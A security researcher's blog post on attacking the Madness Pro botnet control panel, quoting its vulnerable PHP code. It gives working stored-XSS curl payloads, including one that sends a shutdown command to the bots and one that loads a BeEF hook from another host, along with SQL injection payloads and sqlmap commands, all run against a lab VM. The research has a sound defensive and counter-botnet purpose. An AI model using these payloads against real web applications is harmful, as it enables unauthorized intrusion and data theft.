In my last post, I covered the Madness Pro botnet in detail, but analyzing what makes this bot tick is only one side of the research. In this post, we give Madness Pro a lobotomy, detailing various vulnerabilities discovered by us along with exploits to bring sanity back.
Exploits
Exploiting botnets can often have some different objectives than one may usually have when penetration testing or otherwise auditing security. While obtaining the ability to execute remote code is still desired, dismantling the botnet and gathering information on the botnet operator are our real objectives. We can accomplish these goals through everything from cross-site scripting to remote code execution. It is important to note that these vulnerabilities were discovered in the version of the panel corresponding with version 1.14 and are believed to be resolved.
XSS
Cross-site scripting is not the most alarming vulnerability for legitimate applications, but it can be extremely useful when dealing with those attempting to hide their identity. Luckily for us, output sanitization does not appear to be a priority for botnet panel developers. In the case of MadnessPro, there appears to be some attempts to clean up output, but it does not cover everything. We will be leveraging the following code from "adm/index.php" of the MadnessPro panel.
while($result = mysql_fetch_array($query)) { echo "<tr bgcolor=\"#010101\" onmouseover=\"bgColor='#202020'\" onmouseout=\"bgColor='#010101'\"> <td style=\"padding: 0px 0px 0px 3px;\">".user_geo_ip($result['last_ip'], 4)."</td> <td align=\"center\">".$result['regdate']."</td> <td align=\"center\">".strip_tags($result['id'])."</td> <td align=\"center\">".strip_tags($result['version'])."</td> <td align=\"center\">".strip_tags($result['OS'])."</td> <td align=\"center\">".strip_tags($result['user'])."</td> <td align=\"center\">".strip_tags(make_synch($result['last_online']))./*date("d.m.Y H:i", $result['last_online'])*/"</td> <td align=\"center\"><a href=\"#\" onclick=\"set_status('".$result['id']."');\">".$lang[$conf['lang']]['button_add']."</a></td></tr>"; }
While some of those lines use "strip_tags" (a function which removes anything resembling html tags), not all of them do. We can see the last use of $result['id'] is printed out unsanitized. This happens to be the ID stored in the database for each bot, which a bot supplies when connecting. With a little bit of finessing, we can inject our own Javascript and HTML into the admin panel to run on the botter's browser. Since the bots connect into "index.php" of the panel without authentication, we can impersonate a bot's behavior to launch our attack. We can use the following to proof of concept this attack.
curl -v "https://10.0.2.4/m/?uid=\');\"><script>alert(1);</script><a>"
After we run this, there is a persistently stored Javascript payload waiting for the botter the next time they come to control their minions.
This payload is the classic cross-site scripting proof of concept, just doing a simple and harmless alert. It would be hard for the botter to not notice this, not only from the alert but there are also corrupted bot details in the bot table. Let's clean that up a bit.
curl -v "https://10.0.2.4/m/?uid=12345%3Cimg%20alt%3D\')%3B%5C%22%3E%3Cscript%3Ealert(\'ohai%20there\')%3B%3C%2Fscript%3E%3C%2Fa%3E%3Ca%20href%3D%22%23%22%20onclick%3D%5C%22set_status(\'12345"
Now that we are a bit more stealthy when injecting a payload, how about we make the payload a bit more useful and do something like send a command to all the bots. You may remember from my last post, the "def" command makes the bots shutdown. This will be a good command for us to set here. In order to set the command, we need to inject some Javascript that will make a POST as the botter.
var xmlhttp=new XMLHttpRequest(); xmlhttp.open("POST","index.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("op=addall&command=def");
Not only does this set the command for all current bots, but it sets the default command for all future bots to "def". Here's the curl command to push this Javascript.
curl -v "https://10.0.2.4/m/?uid=12345%3Cimg%20alt%3D\')%3B%5C%22%3E%3Cscript%3Evar%20xmlhttp%3Dnew%20XMLHttpRequest()%3B%0Axmlhttp.open(%22POST%22%2C%22index.php%22%2Ctrue)%3B%0Axmlhttp.setRequestHeader(%22Content-type%22%2C%22application%2Fx-www-form-urlencoded%22)%3B%0Axmlhttp.send(%22op%3Daddall%26command%3Ddef%22)%3B%3C%2Fscript%3E%3C%2Fa%3E%3Ca%20href%3D%22%23%22%20onclick%3D%5C%22set_status(\'12345"
What the botter will see just seems like a normal bot has joined the botnet with the id "12345". When the payload first executes in the botter's browser, the default command for new bots is "wtf".
After we refresh, we can see the default command has changed to "def" as well as the bot's command changing to that.
We can of course use a tool like BeEF to gather information on the botter via cross-site scripting. We could do that with a command like the following (with our BeEF daemon running on 10.0.2.15:3000).
curl -v "https://10.0.2.4/m/?uid=12345%3Cimg%20alt%3D\')%3B%5C%22%3E%3Cscript%20src=\"https://10.0.2.15:3000/hook.js\">%3C%2Fscript%3E%3C%2Fa%3E%3Ca%20href%3D%22%23%22%20onclick%3D%5C%22set_status(\'12345"
SQL Injection
SQL injection is very common in botnet panels since they need to manage a large number of bots, and yet for some reason they tend to trust data being sent from the bots. In this case, we'll continue abusing the bot ID parameter. We'll be exploiting the following code in "inc/functions.php", although we'll be accessing it via "index.php".
function get_bot($bot_id,$os,$user,$version)
{ $time=time(); $bot_ip=getip(); $last_cmd=get_command(); $last_cmd = ($last_cmd) ? $last_cmd : "d3Rm"; list($id,$last_online,$new,$command)=mysql_fetch_array(mysql_query("SELECT id, last_online, new, command FROM bots WHERE id = '$bot_id' LIMIT 1")); $last_cmd = ($command) ? $command:$last_cmd; if ($id) { if ($last_cmd) { $timeout=make_timeout(); $timeout=$timeout-60; if ($last_online < $timeout || $new) { mysql_query("UPDATE bots SET last_ip = '$bot_ip', last_online = '$time', new = '0', version = '$version', os = '$os', user = '$user', command = '' WHERE id = '$bot_id' LIMIT 1"); return $last_cmd; } else { mysql_query("UPDATE bots SET last_ip = '$bot_ip', last_online = '$time', version = '$version', os = '$os', user = '$user' WHERE id = '$bot_id' LIMIT 1"); } } else { mysql_query("UPDATE bots SET last_ip = '$bot_ip', last_online = '$time', version = '$version', os = '$os', user = '$user' WHERE id = '$bot_id' LIMIT 1"); } } else { mysql_query("INSERT INTO bots (id, last_ip, last_online, new, version, os, user, regdate) VALUES ('$bot_id', '$bot_ip', '$time', '0', '$version','$os','$user', now())"); return $last_cmd; } }
Without any input sanitization, we can attack on quite a few parameters. The bot ID is the best since we can easily return results from our SQL injection attacks. We can do this by putting any string we want returned into the 4th column of the query results, and it is returned as if it was the command for the connecting bot. The following is the proof of concept for injecting on the bot ID by calling sleep for 5 seconds.
# time curl "https://10.0.2.4/m/index.php?uid='%20OR%201=2%20UNION%20ALL%20SELECT%201,1,1,SLEEP(5)%20--%20--"
d3Rm real 0m5.017s user 0m0.004s sys 0m0.004s
We can also proof of concept the data extraction part of this SQL injection.
# time curl "https://10.0.2.4/m/index.php?uid='%20OR%201=2%20UNION%20ALL%20SELECT%201,1,1,'i%20<3%20math'%20--%20--"
i <3 math real 0m0.027s user 0m0.004s sys 0m0.000s
Since this SQL injection is pretty straight forward, I will not go into great detail about different ways to exploit it. If you wanted to do a quick assessment of how many bots were in the botnet, you could do something like this.
# time curl "https://10.0.2.4/m/index.php?uid='%20OR%201=2%20UNION%20ALL%20SELECT%201,1,1,CONCAT('count:',COUNT(*))%20FROM%20bots%20--%20--"
count:50 real 0m0.015s user 0m0.004s sys 0m0.004s
If you want the more "automated" attack method, you could use a tool like sqlmap. It has a little trouble identifying the vulnerability, but you can get sqlmap to interface with it properly with the following.
# sqlmap -u "https://10.0.2.4/m/index.php?uid=0" -a --level 2
# sqlmap -u "https://10.0.2.4/m/index.php?uid=0" -a --level 2
Vulnerable Virtual Machine
I always enjoy creating and releasing vulnerable virtual machines so readers can get a first hand feel of attacking these command and control panels without doing anything illegal. The objective of this vulnerable virtual machine is to get a root shell. The root credentials (for network configuration purposes) are root:password. These credentials are not part of a solution and it is intended that the vulnerable virtual machine be attacked remotely. You can download the LoBOTomy vulnerable virtual machine here.
- Brian Wallace
@botnet_hunter